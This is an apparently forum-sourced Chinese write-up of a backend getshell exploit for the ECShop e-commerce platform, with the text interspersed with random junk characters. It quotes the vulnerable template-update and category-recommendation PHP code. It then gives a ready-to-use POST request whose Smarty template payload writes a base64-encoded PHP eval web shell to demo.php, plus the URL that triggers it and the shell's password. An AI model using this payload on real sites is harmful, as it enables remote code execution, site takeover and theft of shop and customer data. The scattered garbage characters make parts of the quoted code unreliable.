Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. s( b0 l1 ?$ L3 k9 t! f. P* U
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
. V) |; t' N. S但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
2 z) o, _. N0 I& X2 p8 i3 s
1 if ($_REQUEST['act'] == 'update_library')
8 p4 ^, N' A* [: }* q
6 }* F# j( t2 E. [. i5 u+ E2   

3 {

& Z6 d5 E& D/ S7 v# S4     check_authz_json('library_manage');
+ n2 i6 c, E8 ^
5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

8 K; b8 T8 U1 P# S! Y6 u/ x& m7   

7 ~4 c) t# U0 k8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

; Q# z" I' T% i4 W* I& p  R+ i1 c9   
4 s) X. Y# ?1 L7 Y% F
; U6 l% q! s; e+ Q10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
7 x; s" t4 F) \& V1 H
- X, _' T8 G' T3 h11   
1 @1 v4 I# B0 c/ |% T6 z; {
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

. z* |# @4 a7 u+ g, F16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" V9 x" g# {2 w6 m) M: s" `
5 W5 Q2 t, u. ?5 Q* y17         make_json_result('', $_LANG['update_lib_success']);

18     }

6 C% J! P0 H! {' E4 Z8 t/ P19     else
- J; H4 R7 j3 X4 I
7 ]2 P8 w' }9 o* T1 m20     {

- o  ~1 n/ M/ V) k" e! O21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

9 k( J9 n" L2 Q- y# B23 }
- {8 c1 U2 Y1 c0 s2 z# L3 A
% G& G+ G* f8 z( m) B那么找个比较方便调用了模板的文件
% @/ ]& i' i! X/ l- eindex.php
2 H5 C4 K, c2 Z& P$ V2 E
1 if ($act == 'cat_rec')
( N% e5 Q+ d2 H+ [$ {* V
2   

' R. b4 e/ G6 r. {5 A, z8 `2 M  [3 {

, [" c: f: H  k6 p' }4   
2 C0 Q! x" [/ J0 F! L8 Q( A. n
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
2 d( C( y( v4 Y! l2 a( D
6   
2 W6 x( B1 m+ t- X  K' c
# a8 P0 T+ y( S5 `5 e/ a! x7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
# f" r2 S! _. e
+ D# B0 Y# N. C1 c! W8   

, S0 D1 i- {# f( K9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

3 I: }5 i8 l0 o10   

11     include_once('includes/cls_json.php');
. D% ]/ u+ R$ d; s* E) w# T7 H/ J
12   

13     $json = new JSON;

14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
3 k, z" w7 E, B, n( T& i' N) ?
17     $children = get_children($cat_id);

18   
+ _0 C0 e5 N6 e+ M% P1 ]4 f2 S
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

- y. s9 l3 K1 M' G% s# ~. ?4 \0 Q20   
3 {5 v1 t0 T1 Q5 t4 N0 ^
21     $smarty->assign('cat_rec_sign', 1);

2 L* Z! L' {7 a& M0 y22   

) g; F4 Q. J- |  ^! j23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
7 `' M( p6 [) I+ p8 K/ q- o/ F. }
24   
" ]: W3 z# q+ O& u. R" q2 S+ r
# N) H- ]  n/ B5 N% i25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

8 m6 J3 \3 I! `9 Q) ?; q26   
" h, Y( C8 C) c3 _& v
27         echo $rec_array[$rec_type];

! _/ B/ o' x; ~4 M  d5 u9 Q28   

9 ~3 ?3 o- o5 o* E0 p- @* R29     die($json->encode($result));

9 f* v& i; F: W9 I6 _- I1 z* j30   
9 ~2 E: G! H. b; x$ A- m
31 }
% l% E7 W6 F$ K2 D, p
那么就有利用方法了
7 b- g8 E" K( v& S: rpost包到http://localhost/ec/admin/template.php?act=update_library
( p. x' {& o9 Y0 W' [Post内容：

  V& r, q7 _- d: X7 v1 G​
0 @  ?( v, ]( g! X' @1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
  a$ B) B/ S. q* ?
+ @9 g0 D# |2 e然后访问http://localhost/ec/index.php?act=cat_rec
+ o  k( E# Z% V$ R) T/ ]2 P
shel地址：http://localhost/ec/demo.php
2 g3 r0 e& d1 D  c4 Z+ Q密码c
& F8 t6 B( w0 t1 N7 _